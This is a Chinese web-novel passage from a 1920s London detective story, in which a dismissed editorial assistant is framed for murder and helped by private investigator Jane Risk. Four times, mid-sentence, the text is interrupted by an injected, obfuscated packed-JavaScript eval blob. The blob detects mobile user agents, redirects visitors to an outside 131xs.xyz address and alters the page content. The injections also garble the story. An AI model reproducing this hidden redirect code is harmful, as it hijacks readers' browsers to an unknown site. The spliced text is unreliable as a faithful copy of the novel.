《里斯克小姐的奇妙故事》 1. 序 我叫弗瑞·本（Free Ben），一位……额，曾经被认为前途光明的英国中产阶级未婚女性。 是的，我知道我的名字很独特。 “自由”。一个充满美好期许的词，但在我二十七年的人生中，我很少真正拥有它。 我出生在萨罗郡一个体面的家族。 我的父亲是位受人尊敬的议员，母亲则是一位将社交季日程表奉若圭臬的淑女典范。 我接受了所有“符合身份”的教育，流利的法语，得体的钢琴演奏，优雅的餐桌礼仪，以及如何在下午茶会上进行令人愉悦的闲谈。 按照家族的安排，我此刻应该是一位体面绅士的妻子，在切尔西或肯辛顿拥有属于自己和丈夫的小宅邸，忙于慈善委员会，育儿室和家庭的事务，而不是…… 而不是像现在这样。 单身至今！追逐所谓的自由与正义。 在我循规蹈矩的表象下，那颗被“自由”命名的心，始终藏着一丝不安分的躁动。 最大的“叛逆”，或者说，我为自己争取的，微不足道的“自由”，发生在我毕业那年。 当父母殷切地为我引荐“门当户对”的年轻绅士时，我鼓起生平最大的勇气，拒绝了那条铺满玫瑰（也可能是荆棘）的婚姻之路。 “我想去工作，父亲。” 我记得自己声音不大，但异常清晰地说出这句话时，书房里那令人窒息的寂静。 母亲用手帕捂住了嘴唇，父亲镜片后的目光充满了不解和失望。 那是一次艰难的交锋，最终，或许是出于对我名字“自由”的最后一点尊重，或许是认为这份“任性”终会在现实中碰壁，他们勉强默许了。 于是，我来到了伦敦，在梅菲尔区一家颇有名望但规模不大的艺术出版社找到了一份编辑助理的工作。 工作内容和“自由”并不相称。 主要是校对精美画册上的文字，整理作家晦涩难懂的笔记，还有……对，打字，规规矩矩的坐在打字机面前打字。 薪水微薄，仅够支撑我租一间虽整洁但远谈不上宽敞的小公寓。 在家族眼中，这无疑是“落魄”了。 母亲的信中总是不忘提醒，“弗瑞，亲爱的，淑女的本分不在于在办公室里消磨时光……”偶尔的家庭聚会，亲戚们带着怜悯或不解的目光也让我如坐针毡。 但我坚持着。 这份工作是我亲手选择的，是我对抗那个被安排好的“自由”人生的微弱宣言。 即使这份“自由”带着清贫的苦涩和孤独的重量，我也紧握着它。 人总会为自己没有涉足的世界充满好奇。 但我没有勇气再往前一步。 离开这个虽不完美却熟悉安全的“独立”巢穴？ 那需要更大的胆量，而我似乎已经在那次反抗中用尽了力气。 哦…亲爱的读者，请原谅我这点略带感伤的回忆。 因为当我此刻落笔，试图记录这个故事时，我的一切早已天翻地覆。 当然，我并不讨厌，或者说，我乐意之至，甚至带着一种近乎眩晕的解脱感。 这翻天覆地的变化，归功于遇见的一位无比独特的女性。 简·里斯克（Jane Risk）小姐。一位私家侦探。 她的生活，与我截然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973573|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相反。 它张扬，混乱，充满了意想不到的转折，时常在生与死的锋利边缘起舞。 而我，弗瑞·本，这个习惯了在规则框架内寻求一丝喘息空间的前中产阶级小姐，竟有幸成为了她的朋友，还有……额，搭档。 我想，我应该把她这些独特得足以让我的父母晕厥过去的经历记录下来。 “为什么不呢？亲爱的弗瑞，” 简叼着她的细长烟卷（里面装的通常是气味奇特的草药，而非上流社会的雪茄），慵懒地陷在她那张堆满案卷，几乎看不出原色的旧沙发里，浅绿色的眼睛带着促狭的笑意，扫过我身上那件虽然浆洗得笔挺但显然与她环境格格不入的Flapper裙。 “你肯定会把这些平平无奇的东西写得极有意义。” 简总是这样，她意识不到她的生活本身就像一场在贫民窟酒馆上演的歌剧，充满了粗粝的真实和惊心动魄的高潮，独特得让任何习惯了沙龙和下午茶会的人目瞪口呆。 她总觉得自己经历的都是些“日常琐事”。 所以，我尽力在这里写一写，用我或许带着点“淑女腔调”但力求真诚的笔触。 这是里斯克小姐的奇妙故事。 对了，送给正在看故事的里斯克小姐。 “靠近你，就靠近了危险与自由。而我乐意于此。” 那么，让我想想，这个故事应该从哪里开始呢？ 就从1922年夏末，我22岁的时候，伦敦一个阴郁沉闷的星期四开始说起吧。 那是糟糕且混乱到足以粉碎我所有体面伪装的一天。 也是我遇见简·里斯克的那一天。 2. 1.1 伦敦的夏天总是充满了细密漫长的雨和厚重的雾气。 那一天，连空气都透着压抑的沉闷。 云层低垂着，仿佛紧挨着圣玛丽大教堂高高的穹顶。街道上弥漫着煤油，雾气和战争后的悲伤迷惘。 我像往常一样，穿着整洁的衬衫裙，外搭一件薄呢绒外套，提着我的皮质公文包，走进了位于梅菲尔区那家我工作的艺术出版社。 “本小姐，”霍金斯先生，出版社的经理，一位大腹便便的男人，在我刚放下包时，就用一种不容置疑的，宣布坏消息时特有的语调叫住我。 “请来我办公室一下。” 我的心莫名一沉。 办公室里其他几位穿着同样得体的女士停下了手中的打字工作，投来微妙的目光。 那种目光我熟悉，带着一丝不易察觉的优越感和对潜在“好戏”的期待。 在她们眼中，我这个“为了工作而工作”的异类，本身就值得被审视。 霍金斯先生的办公室铺着华丽的地毯，墙上挂着几幅价值不菲的油画。 他示意我坐下，自己则踱步到窗前，背对着我，仿佛接下来的话难以启齿。 “弗瑞，”他用了我的教名，这反而让我更不安。 “出版社近期面临一些调整。市场…哦你知道的，对这类精装艺术书籍的需求在下滑。董事会决定精简人员结构。” 他转过身，目光落在我身上，带着一种公事公办的冷漠。 “你的编辑助理职位，将被撤掉。很遗憾，你的工作到这个月底结束。遣散费会按合同支付。” “撤掉？”这个词猛地击打着我的心。 精心维持的体面在这一刻摇摇欲坠。 下个月的房租怎么办？布鲁姆斯伯里那间小公寓的账单怎么办？更重要的是，我该如何面对父母？那无声的“我早就告诉过你”的目光，比任何责骂都更令人窒息。 “我能问问为什么吗？” 其实我不应该问的，我应该体面地走出去，我知道。霍金斯先生惊讶地目光和反问也说明了这一点，“什么？” “为什么是我？我是说…其他小姐明明和我做着一样的工作，但是她们没有被撤掉，不是吗？是我工作哪里不好，还是能力不行？”我还是尽量笑着，想要一个理由。 “不…当然不是。本小姐，你很优秀，很认真。但董事会认为你并不是额…那么的需要这份工作。你的家族会期待着你的回去。而其他女士，她们需要工作去生活。” 霍金斯先生话语的声音越来越低，我也不再质问。 我浑浑噩噩地回到小办公桌前，在同事们刻意压低却依然清晰可闻的议论声中，我开始收拾东西。 “哦，亲爱的本，这真是太令人悲伤了。”我的新同事，格林小姐来的我的面前，她似乎在为我的离职感到难过，甚至自发的帮助我收拾东西。 “格林小姐？”我感到有些惊讶，我和格林小姐关系算不是多好，完全想不到她竟然会过来道别。 我们的交谈最后以拥抱结束，我其实不太乐意与人这样接触，而且，这样说不太礼貌，当时格林小姐身上的香水熏得我晕乎乎的。 最终，我也只是收拾了一下写满我校对的文字和灵感的纸张，提着那只公文包，沉默地穿过那些复杂的目光，走出了出版社厚重的大门。 外面的空气并未带来解脱，反而更加沉重。 天空终于承受不住，豆大的雨点毫无预兆地倾盆而下。 我没带伞，淑女出门怎能不带伞？ 这简直是今天一连串失败的完美注脚。 雨水瞬间打湿了我的头发，精心梳理的头发变得松垮狼狈。冰冷的雨水顺着脖颈流进衣领，浸透了我的外套。皮鞋踩在湿滑的人行道上，每一步都小心翼翼，生怕再添一份难堪。 然而，就在我试图躲避一辆疾驰而过，溅起巨大水花的马车时，鞋跟卡在了松动的地砖缝隙里。 我一个趔趄，手里的公文包就脱手飞了出去。 “天哪！”我惊呼出声，那是真正属于淑女的惊恐。 我的公文包就那么重重地砸在了地上，所有的东西都散落了出来。 我的派克笔，照片，还有无数写文字的纸张，这些东西，就那么在泥泞的街道上翻滚散落，瞬间被肮脏的雨水和路人的鞋底玷污践踏。 那一刻，所有的体面，教养和强装的镇定，彻底崩塌了。 我顾不得湿透的衣裙和路人的侧目，徒劳地蹲在冰冷泥泞的人行道上，试图捡起那些散落的东西。 冰冷的雨水滑落脸颊。 失业的恐慌，对家族目光的恐惧还有伦敦的阴冷，这讨厌的大雨，所有情绪将我淹没。 混乱，彻底的混乱！ 简直糟透了！ 可在人来人往的梅菲尔区街头，我甚至不敢哭出声。 在这个时候，我甚至是感谢大雨的，代替我落泪。 这没有什么。 不过是雨太大了而已。 淑女不应该在大街上哭泣。 我这么告诉自己。尽力不让自己崩溃。 “需要帮忙吗？看起来你遇到了点不小的麻烦，女士。” 我猛地抬起头，透过模糊的镜片，看到一个身影蹲在了我面前，就在散落一地的东西旁边。 她没有打伞。 雨水顺着她剪得极短，近乎男式的棕色发梢滴落，滑过线条利落，不施脂粉的脸颊。她穿着一件剪裁精良但明显沾了些不明污渍（像是油渍？还是干涸的血迹？我不敢细想）的黑色风衣，里面是深色的男式衬衫和结实的长裤，脚上一双沾满泥点的短靴。 最引人注目的是她的脖颈处，有一道深刻的疤痕，以我浅显的判断，那几乎是致命的。 而这样一个人，此刻正带着毫不掩饰的，近乎穿透性的好奇打量着我。 她的嘴角却挂着一丝玩味的，近乎戏谑的笑意。手里正利落地捡拾着我那些散落的物件，动作快得像在收拾案发现场。 “弗瑞·本？” 她瞥了一眼手中那张被泥水浸透但家族纹章首字母“B”依然隐约可见的名片，准确无误地念了出来，声音里带着点奇异的韵律，“自由…本？有趣的名字。” 她浅绿色的眼睛再次落在我身上，那目光仿佛能穿透我湿透的华服和崩溃的心防，直抵我的内心。 “我是简·里斯克（Jane Risk）。” 她随手将整理好的，湿漉漉的一沓东西，包括我那沾满污泥的家族照片，塞回我怀里，动作随意得像塞一叠街头散发的传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973574|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单。 然后，她向我伸出了手，手指修长有力，指节处有些细微的疤痕和薄茧，指甲修剪得很短，干净但显然经历过劳作或…搏斗？ 淑女的教养让我下意识地伸出自己冰冷，沾着泥污的手。 她的手心温暖得惊人，带着一种不容置疑的力量感。 她稍一用力，就将还蹲在地上的我轻松地拉了起来。 “简·里斯克…”我重复着这个名字，声音沙哑。 Risk，风险。这名字本身像一种宣言。 她笑了笑，那笑容对我来说，在阴郁的雨天里像一道短暂的闪电，带着点漫不经心的危险和野性的活力。 雨水顺着她棱角分明的脸颊滑下，她却浑不在意。 “别哭花了脸，本小姐，”她松开手，语气像是在谈论天气，但浅绿色的眼睛却锐利地捕捉着我眼中残存的恐惧和巨大的羞耻。 “我没有哭，不过是雨太大了而已！” 我几乎是本能地，带着一丝被戳破的羞恼争辩道。 即使到了现在，当和简谈起我们的初遇，我还是会说，那天不过是雨太大了而已。 “可是，亲爱的弗瑞，你当时眼睛都红了。”简后来这么说过，“但那天的雨确实太大了。所以我看着你说……” 她看着我说，“是的，雨太大了，但它总会停的。你现在也许需要回家，泡个热水澡？” 她歪了歪头，目光似乎越过我，投向街道对面某个不起眼的巷口，仿佛那里有比眼前这位崩溃的淑女更值得关注的东西，随即又落回我脸上，带着一种关切。 “毕竟，‘自由’小姐在大雨和泥水里？这反差…有趣但并不美妙。” “别担心，小姐，一切总会变好的。”她借着身高优势拍了拍我的肩膀。 “现在，原谅我不得不先离开了。” 她的视线再次快速锁定巷口，话音未落，人已转身，像一头嗅到了猎物的豹子，快步融入了雨幕和人群之中，留下一个匆忙而充满目的性的背影。 我站在原地，看着这个独特的女性匆忙的背影，她似乎在追着什么人？我这样想着，小心翼翼地把手里那堆泥泞的东西塞进皮质公文包里。 而在现在的我看来。 1922年夏末那个混乱冰冷的雨天的我，失业，失态，失魂落魄，但因此遇见了简·里斯克小姐，又何尝不是一种幸运？ 但当时的我，满心的悲伤与混乱，甚至还有对这位独特女性的惊叹，整个人浑浑噩噩的。 我放弃了任何仪态，深一脚浅一脚地朝着自己那间狭小公寓的方向走去。 雨水无情地冲刷着我，外套沉重地贴在身上，冷意刺骨。脚跟似乎也在刚才的趔趄中受了点伤，每一步都带来细微的刺痛。 回公寓的路变得无比漫长。 伦敦的街景在雨幕中模糊扭曲，行色匆匆的路人如同灰色的剪影，对我这个浑身泥泞，失魂落魄的“淑女”投来或惊讶或同情或漠然的一瞥。 我几乎是靠着一种破罐子破摔的麻木才回到了公寓。 但，简·里斯克。 这个名字，连同她深刻的伤疤，锐利的眼睛，像一道无法驱散的印记，和那天的雨，失业一起留在了我的心里，形成一种奇异的，无法言喻的混乱。 3. 1.2 第二天的伦敦天空依然阴沉，但雨势已经减弱，只剩下零星的雨滴从屋檐滑落。 我艰难地支起身子，身体的每一个地方都在抗议。喉咙干涩，额头滚烫，毫无疑问，我在昨日的暴雨中染上了风寒。 我拖着沉重的身体走向洗漱间，拧开水龙头，冰冷的水流冲刷着我的脸，也让我混沌的思绪稍微清醒了一些。 我不想在纠结那些糟糕的事情，失业而已，没什么大不了的，我可以换一份工作。 但在那之前，我知道我应该去看看医生。 正当我想给相熟的医生拨电话时，一阵急促的敲门声打断了我。 “谁？”我警觉地问道，声音嘶哑得不像自己。 “伦敦警察厅，请开门，弗瑞·本小姐。” 警察？我的心跳骤然加速。我下意识地整理了一下凌乱的头发和衣服，深吸一口气才去开门。 门外站着两名穿制服的警官，年长的那位面容严肃，灰白的鬓角显示出他的资历；年轻的那位则显得有些局促，手里拿着一个记事本。 “弗瑞·本小姐？”年长的警官问道。 “是的，请问有什么…？” “你涉嫌谋杀艾奥瓦·霍顿先生，很抱歉，请你跟我们走一趟。”老警官的声音冰冷而正式，“你有权保持沉默，但你所说的每一句话都将作为呈堂证供。” 我的大脑一片空白。“什么？谋杀？艾奥瓦先生？”我几乎无法理解这些词语的组合，“这不可能…艾奥瓦先生死了？” 年轻警官上前一步：“请跟我们走一趟，小姐。” “这一定是搞错了！我怎么可能…！？” “这些话你可以到警局再说。”老警官打断我，从口袋里掏出一副手铐。 看到那冰冷的手铐，我知道再这么说都没有意义。 “请让我换件衣服。”我咬紧牙关，指甲深深掐进掌心，才没让声音发抖。上帝啊！我甚至还穿着睡衣！ 两位警官交换了一个眼神，年长者点点头：“五分钟，我们在门外等。” 关上门后，我颤抖着换上一条简单的深蓝色连衣裙，我告诉自己要冷静，但手指不听使唤，纽扣几次从指间滑落。 艾奥瓦先生死了？被谋杀？而我成了嫌疑人？这一切荒谬得如同噩梦，但门外警官的脚步声提醒我，这是残酷的现实。 我最后看了一眼镜中的自己，深吸一口气，打开了门。 走出公寓楼时，几位邻居站在各自的门口，投来好奇而恐惧的目光。我尽量让自己无视。 “没关系的，弗瑞，保持冷静，不要害怕，不要露怯，你没有做的事，与你无关。”我这么告诉自己。 但我已经预想到事情传播出去会有什么反应，想想吧，一位体面的淑女竟然被指控谋杀！哦！上帝啊！ 我不太想回忆那时的感受。只记得我被带进一间狭小的审讯室，墙壁漆成令人压抑的灰绿色，一张木桌和两把椅子是唯一的东西。警官让我坐在其中一把椅子上，然后离开了房间。 时间在焦虑中缓慢流逝。我盯着墙上斑驳的痕迹，试图理清思绪。 艾奥瓦先生是出版社的主编，我工作时的上司，一位四十多岁的单身绅士，虽然性格有些古怪，但深受尊敬。谁会想要杀害他？又为什么把罪名安在我头上？ 门突然打开，打断了我的思绪。走进来的是一位穿着考究西装的中年男子，留着精心修剪的八字胡，眼神傲慢。 “威廉·霍华德探长，”他自我介绍道，在我对面坐下，“负责调查霍顿先生的谋杀案。” “我没有杀人，”我说道，声音比自己预想的更加坚定，“我对艾奥瓦先生的死一无所知。” 霍华德探长从公文包中取出一个文件夹，慢条斯理地打开：“本小姐，你昨天被霍顿先生的出版社解雇了，对吗？” “是的，但那是经理霍金斯先生的决定，不是艾奥瓦先生。” “根据霍金斯先生的证词，解雇决定是由霍顿先生最终批准的。”探长推过一张纸，“这是你的解雇通知书，上面有霍顿先生的签名。” 我盯着那个熟悉的签名，感到一阵眩晕。艾奥瓦先生知道我被解雇？甚至批准了这个决定？这与我认识的艾奥瓦先生不符。 我是说，他总是带着得体的笑容，鼓励年轻女性追求职业发展。 但我还是迅速的调整自己，“这不能说明什么？先生，我昨天离开出版社后直接回家了，我的邻居可以作证。” “实际上，”探长又推过一张照片，“有目击者看到你在晚上八点左右返回了出版社。” 照片上是一个模糊的女性背影，穿着与我相似的服装，戴着宽大的帽子，正走出出版社的大门。我的心沉了下去。 “那不是我！我很早就到家了，之后一直没出门！”慌乱是没有用的，我尽力让自己冷静，“先生，是有人要嫁祸我！” “但是凶器上发现了你的指纹。”霍华德探长继续道，仿佛没听到我的辩解。 “什么凶器？” “这个。”探长展示了一张新的照片，一把拆信刀，刀身上沾满暗红色的血迹。“霍顿先生被刺了四刀。这把拆信刀是从你办公桌上取走的，上面有你的指纹。” 我感到一阵恶心，但还是尽量且合理地反驳着，“先生，这是嫁祸。这是出版社统一的工作用品，任何人都有可能接触到。” “格林小姐作证，她听见了你与霍顿先生的争吵。”探长又扔出一记炸弹，“一定是你冲动杀人，然后伪造了自杀遗书！” “什么？怎么会？格林小姐！” “我需要律师。”我突然说道，意识到自己正陷入一个精心设计的陷阱。 我是凶手推出来的替罪羔羊。我无比清楚地认识到了这点。 霍华德探长挑了挑眉：“当然，你有这个权利。” 我坐在警局冰冷的木椅上，手指无意识地绞在一起。霍华德探长刚刚离开了。房间里只剩下我和一个面无表情的警员。 墙上的挂钟显示已经下午四点，我被关在这里超过七小时了。 突然，走廊传来一阵骚动。 门被推开，一名戴金丝眼镜，提着公文包的干练女性走了进来。她穿着剪裁利落的深灰色套装，脖颈处的疤痕被高领衬衫遮掩。 是简·里斯克，昨天遇见的那位独特女性。她为什么会来这里？她能帮我吗？ “弗瑞·本小姐？我是你的法律顾问，简。”她公事公办地递来一张名片，同时用指尖在桌下悄悄划了个字母“R”，那是昨天她自我介绍时提到的姓氏缩写。 里斯克（Risk）。 匆匆赶来的霍华德探长冷哼一声：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973575|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏格兰场什么时候允许私家侦探冒充律师了？” 简面不改色：“霍华德，也许需要我提醒你？根据《1920年法律援助法案》第4条，在正式律师到场前，当事人有权指定临时顾问。”她转向我，“本小姐，您需要我留下吗？” “是的！”我死死抓住这根救命稻草。也许我的家族和我的父亲会来帮助我，但是我不能。 “里斯克，你只有二十分钟。”探长咬牙切齿地说，挥手让警员退下。 门一关，简立刻变了个模样。她敏捷地检查了房间角落，然后从鞋跟里抠出个小金属片贴在桌底。后来她告诉我那是窃听干扰器。 “听着，小姐，”她压低声音，语速飞快，“艾奥瓦死前给我寄了封信，提到出版社的账本有问题。凶手显然知道他在调查，所以灭口后栽赃给刚被解雇的你。” 我喉咙发紧：“但我根本…” “我知道。”她打断我，“昨天暴雨里捡你文件时，我注意到你的笔记本。” “这些校对标记的笔迹，和霍顿桌上‘自杀遗书’的笔迹分析完全不符。” 我瞪大眼睛：“自杀遗书？” “警方没告诉你吧？”简冷笑，“他们在他抽屉里发现了忏悔书，说是贪污公款后畏罪自杀，但被刺四刀的自杀？真幽默。” 门外传来脚步声，简立刻提高音量：“那么本小姐，您对霍顿先生的死亡有何评论？” 霍华德探长推门而入：“时间到了。” 简没有理他，突然凑近，假装帮我整理衣领，在我耳边快速低语：“七点，查令十字街12号B侧门。对守门人说‘落雨的怀表需要修理’，别带任何可能被跟踪的东西。”。 等警局终于放我离开时（他们显然意识到证据太薄弱），天已全黑。 我没有停留，果断地返回了公寓。我知道有警察在跟着我，他们在监视着我。 一切都让我感觉到一直荒诞，但我还是强迫自己行动起来，我不可能坐以待毙。 还有…格林小姐，她为什么会做伪证？为什么是我？格林小姐，霍顿先生？ 我突然想起了有一次，霍顿先生要我帮忙检查一批珍品书籍的账务，事实上，那并不是我负责的事物，只有偶尔，很偶尔的时候，我会帮助整理一下。那次完全是超出我的工作的意外。我曾问过霍顿先生为什么不让格林小姐负责，但是他什么都没说。 我感觉到这个很重要，一晚上，我几乎没怎么休息，翻着我的记录与文档，还有尽可能地凭着记忆把见过的账本记下来，并把这些东西都装进了我的皮质工文包里。 当天空泛白时，我穿上黑色的男装，戴着帽子，提着我的包走出了公寓。 我有男装，哦，亲爱的读者，无需感到惊讶，毕竟单身的淑女总要注意安全，还有就是为了我那些自由的“叛逆”。 那天早晨，我尽量多拐了拐，甚至走了相反的方向，我不应该这样的，但说实话，我不太相信霍华德探长和他的手下，所以，我得确保我背后没有人跟着。 当我闪进那条挂着“钟表零件修理”铁牌的店子。一个缺了门牙的老头正蹲在煤油灯下修怀表，头也不抬地问：“修什么？” “落雨的怀表需要修理。” 老头抬头深深地看着我，让我紧张得吞口水，他起身给我让开，“上去吧。” 4. 1.3 我提着包走向二楼，木质的楼梯发出老旧的吱呀声。 里斯克小姐显然听见了外面的动静，早就站在门边等着。 “弗瑞小姐，你这打扮可真出乎意料。”她笑着，眼神里带着惊异，放在风衣口袋里的手也朝我伸了过来。 当时的我其实已经反应过来简放在口袋里的手握着什么东西。 但我只是伸出手礼貌的握了一下，并顺着她的话笑笑，“是哪里不好吗？” “不，很适合你。”她示意我进去。 木门在我身后轻轻合拢，隔绝了楼下微弱的煤油灯气味和怀表齿轮的滴答声。 房间比预想的更狭小，也更……专业。 一个巨大的书架，塞满了各种书籍和文档；墙上则是钉满了泛黄的地图，不同区域被红蓝墨水标记覆盖；沉重的橡木桌上堆放着散乱的文件，几个造型奇特的金属工具（我只能认出其中一个是□□），还有一台看起来相当精密的打字机。空气中弥漫着旧纸张，金属润滑油和一丝若有似无的火药味。 简没有立刻说话。她走到桌边，从风衣内侧口袋（不是刚才那个握着东西的口袋），利落地掏出一个扁平的烟盒。 她弹开盒盖，不是取烟，而是从里面抽出一张折叠得整整齐齐，边缘有些磨损的信纸。 “这是艾奥瓦·霍顿先生给我的信，你看一看吧。”她让我坐在一旁的椅子上，并把信件递给了我。 信件的内容如下： 里斯克小姐： 愿此信抵达时您一切安好。 我是圣玛丽出版社的艾奥瓦·霍顿。 我从《泰晤士报》艺术专栏编辑处获知您对古籍欺诈案的独到见解，也听说了您追寻正义的美名，故而来向您寻求帮助。 近两月，我社珍本库存与账目出现无法解释的缺口。许多珍贵的珍品出现了问题。尤其那批1890年奥地利版《哥特式建筑图谱》。账目显示已“折价销毁”，但上周我在霍金斯经理私人保险柜瞥见其烫金书脊。 更可疑的是，新来的财务格林小姐坚决拒绝我核查银行流水，称“董事会特许保密”。 我尝试暗中调查，但昨日发现有人翻动我抽屉内的校样稿。 此刻写信予您，是因我今晨突然被通知要裁掉我信任的编辑助理弗瑞·本小姐。我之前曾要她帮忙整理部分账务。 我深觉风暴将至。 恳请您秘密调查： 1.调查格林小姐与霍金斯的行踪 2.确认《建筑图谱》是否通过黑市流入美国收藏家之手（附件为书页水印细节图） 还有，倘若我遭遇什么不测，您可以去找一下弗瑞·本小姐，我会尽可能通过她传递重要东西。 也请您向她表示我的歉意，由于我早前的不谨慎牵连到她。 ——您真诚的艾奥瓦·霍顿 1922年8月10日 我的目光从信纸上抬起，指尖冰凉。艾奥瓦先生熟悉的字迹，此刻却承载着如此沉重的秘密和……他的死亡预告。 “艾奥瓦先生在调查出版社的账务，而且还发现了问题？”我惊诧地抬起头，即使我的内心早有猜测，但是…… 哦，这简直太可怕了。可怜的，正义的艾奥瓦先生。 “是的。我按霍顿先生的要求去调查过了，确有其事，但是没等我进一步和霍顿先生接触，他就死了，小姐，我想你明白这意味着什么。”简的声音很冷硬。 事已至此，还有什么不明白的？珍品，账本，警察…… 哦！这太糟糕，太可怕了！ 善良的艾奥瓦先生最后竟然还为我抱歉，这可真是…… “艾奥瓦·霍顿是一个正义的好人，他值得钦佩。而你，无辜的小姐，也不应该身陷黑暗与阴谋。”里斯克小姐看着我坚定地说。 她顿了顿，“艾奥瓦预感到危险，并且，他试图利用你作为信使。他‘传递’了什么给你？” 我愣住了，努力回想，“他…他只让我整理过部分账务。除了……” 一个模糊的印象突然闪过脑海。 “除了有一次，他递给我一叠需要归档的旧校对稿，说里面有些地方他标记了疑问，让我有空看看。但后来我被解雇，稿子…稿子就在我公文包里！” 当时匆匆收拾，我只带走了属于自己的文稿和那几份清单副本，那叠旧校对稿正好混在里面，而我昨天整理的时候，想着万一有用，就全部带过来了。 “就在这里？”简的声音压得极低。 她一步就跨到我面前，浅绿色的眼睛锐利地扫过公文包，又迅速瞥了一眼紧闭的房门。 楼下怀表匠规律的敲打声不知何时停了，一种令人窒息的寂静弥漫开来。 我摸索着公文包内侧，手指因为激动和恐惧而微微颤抖。 简冰冷的手猛地按住了我的手腕！力道不大，却带着不容置疑的警告。 “别动！”她的声音压的很低，头微微侧向门的方向，似乎在听什么声音。 吱呀！ 极其轻微，却足以让心脏停跳的声音从楼下传来。 紧接着，是怀表匠那标志性的，嘶哑的咳嗽声。 三声短促，停顿，再一声长。 简紧绷的肩膀没有完全放松，但眼神中的杀意褪去，换上了专注的审视。 她松开我的手腕，自己却无声无息地挪到了门后一个便于观察和反应的位置，手依然揣在那个鼓囊囊的风衣口袋里。 “进来，门没锁。”她扬声道，声音恢复了平静，甚至带着点懒洋洋的调子。 门被小心地推开一条缝，先探进来的是一个脏兮兮的，顶着一头乱糟糟稻草色头发的脑袋，眼睛像受惊的小鹿般飞快地扫视了一圈屋内。 确认只有我和里斯克后，一个瘦骨嶙峋，约莫十二三岁的男孩才完全挤了进来。 他穿着打满补丁，明显过大的外套，脚上的破皮鞋沾满了泥巴。 我看见他反手关上门，背紧紧贴着门板，似乎想借那点支撑获取些安全感。 “里…里斯克小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973576|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，这位小姐好！”男孩局促着问好，控制不住地点头致意。 “麻雀（Sparrow）？”简的眉头几不可查地皱了一下，“怎么是你？老滴答呢？”她的语气带着一丝不易察觉的关切。 叫“麻雀”的男孩咽了口唾沫，声音尖细又急促。 “老滴答…老滴答说巷子口有黑大衣的味儿，他得钉在那儿看着，动不了！让我从耗子洞溜过来！” 他一边说，一边从怀里掏出一个皱巴巴，沾着油渍的旧报纸团，小心翼翼地递给简，仿佛那是什么易碎的珍宝。他的手指脏兮兮的，还在微微发抖。 简接过纸团，没有嫌弃上面的污垢，迅速展开。 里面包着一张模糊的，像是从远处偷拍的照片（画面晃动，只能勉强辨认出格林小姐的侧影和一个戴礼帽男人的背影，背景似乎是某个俱乐部的后门），还有一张从垃圾桶里捡出来的，烧焦了一角的纸片，上面是几行潦草得几乎难以辨认的字迹，像是匆匆记录的。 “那个香喷喷的小姐，”麻雀喘着气，努力回忆着大人让他背下来的话。 “昨天下午，没回家！去了…去了金环蛇后门！和一个…一个闻着像‘上等雪茄’味儿的老爷说话！” 简的目光飞快地扫过照片和纸片上的残迹。 “金环蛇？出版社普通职员那点薪水恐怕连门童的小费都给不起。” 她嘴角勾起一丝弧度，“好，很好。还有吗？” 麻雀用力点头，脸上露出混杂着恐惧和完成任务的骄傲。 “还…还有！停…停尸房扫地的跛脚汤姆…他…他今早扫灰的时候，偷听到穿白大褂的老爷们吵架！” 男孩努力模仿着大人的语气和听到的词汇，“一个说…说那么明显的青花，还是什么的中毒。” “□□？”简迅速的接话道。 “对对对，好像就是这个！另一个骂他…闭嘴！上面说自杀就是自杀！你想去泰晤士河底看风景？…就…就这些了！老滴答让我一个字不漏背给您！” 伪造自杀！□□！被压下的真相！ 我在一旁听着这些东西，艾奥瓦先生……他果然是被……那我呢？ 天那，哦，上帝啊，如此勾结，难道我就要这么白白顶罪吗？ 巨大的恐慌笼罩在我的身上，让我完全不知道怎么办才好。 简从口袋里摸出几个硬币，塞到麻雀脏兮兮的小手里，顺便摸了摸小孩的头。 “干得好，麻雀。告诉大家，眼睛放亮点，自己当心。从后窗爬水管下去。” 